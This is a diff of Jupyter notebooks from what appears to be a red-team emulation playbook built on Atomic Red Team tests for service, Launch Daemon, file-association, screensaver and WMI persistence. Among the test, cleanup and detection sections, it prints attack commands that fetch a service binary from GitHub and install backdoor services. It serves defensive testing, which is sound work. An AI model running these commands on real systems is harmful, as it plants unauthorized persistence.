"id": "28c29835", + "id": "64016144", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7e3b2225", + "id": "6a3d0e39", "metadata": {}, "source": [ "### Atomic Test #1 - Modify Fax service to run PowerShell", @@ -28,87 +28,87 @@ { "cell_type": "code", "execution_count": null, - "id": "23b70354", + "id": "f22bc985", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "528743ce", + "id": "42bf7cce", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc config Fax binPath= \"C:\\WINDOWS\\system32\\fxssvc.exe\" >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "227e0e85", + "id": "66236f6c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "d3907d7d", + "id": "1367c48c", "metadata": {}, - "source": "### Atomic Test #2 - Service Installation CMD\nDownload an executable from github and start it as a service.\nUpon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Service binary must exist on disk at specified location (#{binary_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\"\n\n```" + "source": "### Atomic Test #2 - Service Installation CMD\nDownload an executable from github and start it as a service.\nUpon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Service binary must exist on disk at specified location (#{binary_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "95df6494", + "id": "2a4ce5e0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ea379d80", + "id": "f081fd9a", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nsc.exe create AtomicTestService_CMD binPath= PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\nsc.exe start AtomicTestService_CMD\n```" + "```command_prompt\nsc.exe create AtomicTestService_CMD binPath= \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\" start=auto type=Own\nsc.exe start AtomicTestService_CMD\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "105aeeee", + "id": "1ca7b11b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "64a1dad4", + "id": "cc941d73", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc.exe stop AtomicTestService_CMD >nul 2>&1\nsc.exe delete AtomicTestService_CMD >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7ea5bda7", + "id": "cc7f8298", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "940ccc9d", + "id": "d757cbf3", "metadata": {}, - "source": "### Atomic Test #3 - Service Installation PowerShell\nInstalls A Local Service via PowerShell.\nUpon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Service binary must exist on disk at specified location (#{binary_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\"\n\n```" + "source": "### Atomic Test #3 - Service Installation PowerShell\nInstalls A Local Service via PowerShell.\nUpon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Service binary must exist on disk at specified location (#{binary_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "627c8bff", + "id": "e7917ac0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b3d80f84", + "id": "31fbe78d", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -118,28 +118,28 @@ { "cell_type": "code", "execution_count": null, - "id": "bdd19504", + "id": "014cda63", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "c33bd579", + "id": "b3878418", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Service -Name \"AtomicTestService_PowerShell\" 2>&1 | Out-Null\ntry {(Get-WmiObject Win32_Service -filter \"name='AtomicTestService_PowerShell'\").Delete()}\ncatch {}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f955ae22", + "id": "01860ebf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "38a5e1f1", + "id": "ab057764", "metadata": {}, "source": [ "### Atomic Test #4 - TinyTurla backdoor service w64time", @@ -147,34 +147,79 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncopy $PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll %systemroot%\\system32\\\nsc create W64Time binPath= \"c:\\Windows\\System32\\svchost.exe -k TimeService\" type= share start=auto\nsc config W64Time DisplayName= \"Windows 64 Time\"\nsc description W64Time \"Maintain date and time synch on all clients and services in the network\"\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v TimeService /t REG_MULTI_SZ /d \"W64Time\" /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\W64Time\\Parameters\" /v ServiceDll /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\w64time.dll\" /f\nsc start W64Time```" + "```command_prompt\ncopy \"$PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll\" %systemroot%\\system32\\\nsc create W64Time binPath= \"c:\\Windows\\System32\\svchost.exe -k TimeService\" type= share start=auto\nsc config W64Time DisplayName= \"Windows 64 Time\"\nsc description W64Time \"Maintain date and time synch on all clients and services in the network\"\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v TimeService /t REG_MULTI_SZ /d \"W64Time\" /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\W64Time\\Parameters\" /v ServiceDll /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\w64time.dll\" /f\nsc start W64Time```" ] }, { "cell_type": "code", "execution_count": null, - "id": "878aa35a", + "id": "c563381c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "03a9075a", + "id": "5b4aeaab", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc stop W64Time\nsc.exe delete W64Time\ndel %systemroot%\\system32\\w64time.dll\nreg delete \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v TimeService /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\W64Time\\Parameters\" /v ServiceDll /f```" }, { "cell_type": "code", "execution_count": null, - "id": "4bffcaa0", + "id": "d2cf049d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "da996841", + "id": "ae9b0780", + "metadata": {}, + "source": "### Atomic Test #5 - Remote Service Installation CMD\nDownload an executable from github and start it as a service on a remote endpoint\nUpon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Service binary must exist on disk at specified location (#{binary_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "879d5622", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1543.003 -TestNumbers 5 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "f4b948be", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nsc.exe \\\\localhost create AtomicTestService_CMD binPath= \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\" start=auto type=Own\nsc.exe \\\\localhost start AtomicTestService_CMD\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "19b2c13d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1543.003 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "630ec6e4", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nsc.exe \\\\localhost stop AtomicTestService_CMD >nul 2>&1\nsc.exe \\\\localhost delete AtomicTestService_CMD >nul 2>&1```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "39b6597f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1543.003 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "23e78eaa", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." } @@ -182,13 +227,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1543.004.ipynb b/playbook/tactics/privilege-escalation/T1543.004.ipynb index 12495497..94b20f08 100644 --- a/playbook/tactics/privilege-escalation/T1543.004.ipynb +++ b/playbook/tactics/privilege-escalation/T1543.004.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "27a13ad4", + "id": "02e14c85", "metadata": {}, "source": "# T1543.004 - Launch Daemon\nAdversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)" }, { "cell_type": "markdown", - "id": "739b489c", + "id": "9c149114", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "673cc58b", + "id": "be5cb500", "metadata": {}, "source": "### Atomic Test #1 - Launch Daemon\nUtilize LaunchDaemon to launch `Hello World`\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The shared library must exist on disk at specified location (#{path_malicious_plist})\n\n##### Check Prereq Commands:\n```bash\nif [ -f $PathToAtomicsFolder/T1543.004/src/atomicredteam_T1543_004.plist ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\necho \"The plist file doesn't exist. Check the path and try again.\"; exit 1;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9bcaa9fc", + "id": "25f9bb60", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5284dd88", + "id": "70b07dcc", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "2686b05f", + "id": "6d89380b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8fb59af5", + "id": "7a577ced", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo launchctl unload /Library/LaunchDaemons/com.atomicredteam.plist\nsudo rm /Library/LaunchDaemons/com.atomicredteam.plist\nsudo rm /tmp/T1543_004_atomicredteam.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6853b143", + "id": "8ab76b3b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "07e29d16", + "id": "9a9bd63c", "metadata": {}, "source": "## Detection\nMonitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.\n\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)\n\n" } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1543.ipynb b/playbook/tactics/privilege-escalation/T1543.ipynb index eab01d8c..bdcca907 100644 --- a/playbook/tactics/privilege-escalation/T1543.ipynb +++ b/playbook/tactics/privilege-escalation/T1543.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "511bea4a", + "id": "12db52b8", "metadata": {}, "source": "# T1543 - Create or Modify System Process\nAdversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) " }, { "cell_type": "markdown", - "id": "eedc3357", + "id": "936718cb", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "095eea2c", + "id": "ee54ce66", "metadata": {}, "source": "## Detection\nMonitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes." }, { "cell_type": "markdown", - "id": "d243b013", + "id": "96f4e10e", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls to stop or allow an adversary's activity.\n#### Use Case\nA defender can choose to harden or weaken security controls on a system to affect an adversaries ability to modify or create system processes.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.001.ipynb b/playbook/tactics/privilege-escalation/T1546.001.ipynb index d0bd4efe..21a268a4 100644 --- a/playbook/tactics/privilege-escalation/T1546.001.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "3f256426", + "id": "3f37e5cb", "metadata": {}, "source": "# T1546.001 - Change Default File Association\nAdversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)" }, { "cell_type": "markdown", - "id": "609dc3ef", + "id": "b3bb7b9b", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "62bd8af6", + "id": "37bbd5ac", "metadata": {}, "source": [ "### Atomic Test #1 - Change Default File Association", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "1eb94b5d", + "id": "54333a3c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "62c4bbf7", + "id": "1f73c88e", "metadata": {}, "source": "#### Cleanup: \n```cmd\nassoc .hta=htafile\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2d51a6c2", + "id": "b4671588", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "e0411c09", + "id": "d9b9bcde", "metadata": {}, "source": "## Detection\nCollect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.002.ipynb b/playbook/tactics/privilege-escalation/T1546.002.ipynb index e5bfbb5d..6a71c217 100644 --- a/playbook/tactics/privilege-escalation/T1546.002.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "2ad39249", + "id": "efbc5a8c", "metadata": {}, "source": "# T1546.002 - Screensaver\nAdversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)" }, { "cell_type": "markdown", - "id": "fc42c576", + "id": "bfa43502", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "953adfce", + "id": "39ea3818", "metadata": {}, "source": [ "### Atomic Test #1 - Set Arbitrary Binary as Screensaver", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "df5c24bc", + "id": "bf49a2c2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "6b3ef75a", + "id": "1a64fd23", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg import %userprofile%\\backup.reg\ndel %userprofile%\\backup.reg\ndel %SystemRoot%\\System32\\evilscreensaver.scr\n```" }, { "cell_type": "code", "execution_count": null, - "id": "548a6db1", + "id": "6ced1614", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "32db45aa", + "id": "1fd7577a", "metadata": {}, "source": "## Detection\nMonitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.003.ipynb b/playbook/tactics/privilege-escalation/T1546.003.ipynb index e48bb6ce..4179cb89 100644 --- a/playbook/tactics/privilege-escalation/T1546.003.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "0e8538da", + "id": "401255cb", "metadata": {}, "source": "# T1546.003 - Windows Management Instrumentation Event Subscription\nAdversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges." }, { "cell_type": "markdown", - "id": "52a782b7", + "id": "8ccfa297", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b213d868", + "id": "7dc1aa3c", "metadata": {}, "source": [ "### Atomic Test #1 - Persistence via WMI Event Subscription - CommandLineEventConsumer", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ac3ba25e", + "id": "31993324", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "240db9dc", + "id": "c167c16b", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter \"Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n```" }, { "cell_type": "code", "execution_count": null, - "id": "49a0375e", + "id": "e4d12001", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "4dafb621", + "id": "9607f7d8", "metadata": {}, "source": [ "### Atomic Test #2 - Persistence via WMI Event Subscription - ActiveScriptEventConsumer", @@ -63,73 +63,73 @@ { "cell_type": "code", "execution_count": null, - "id": 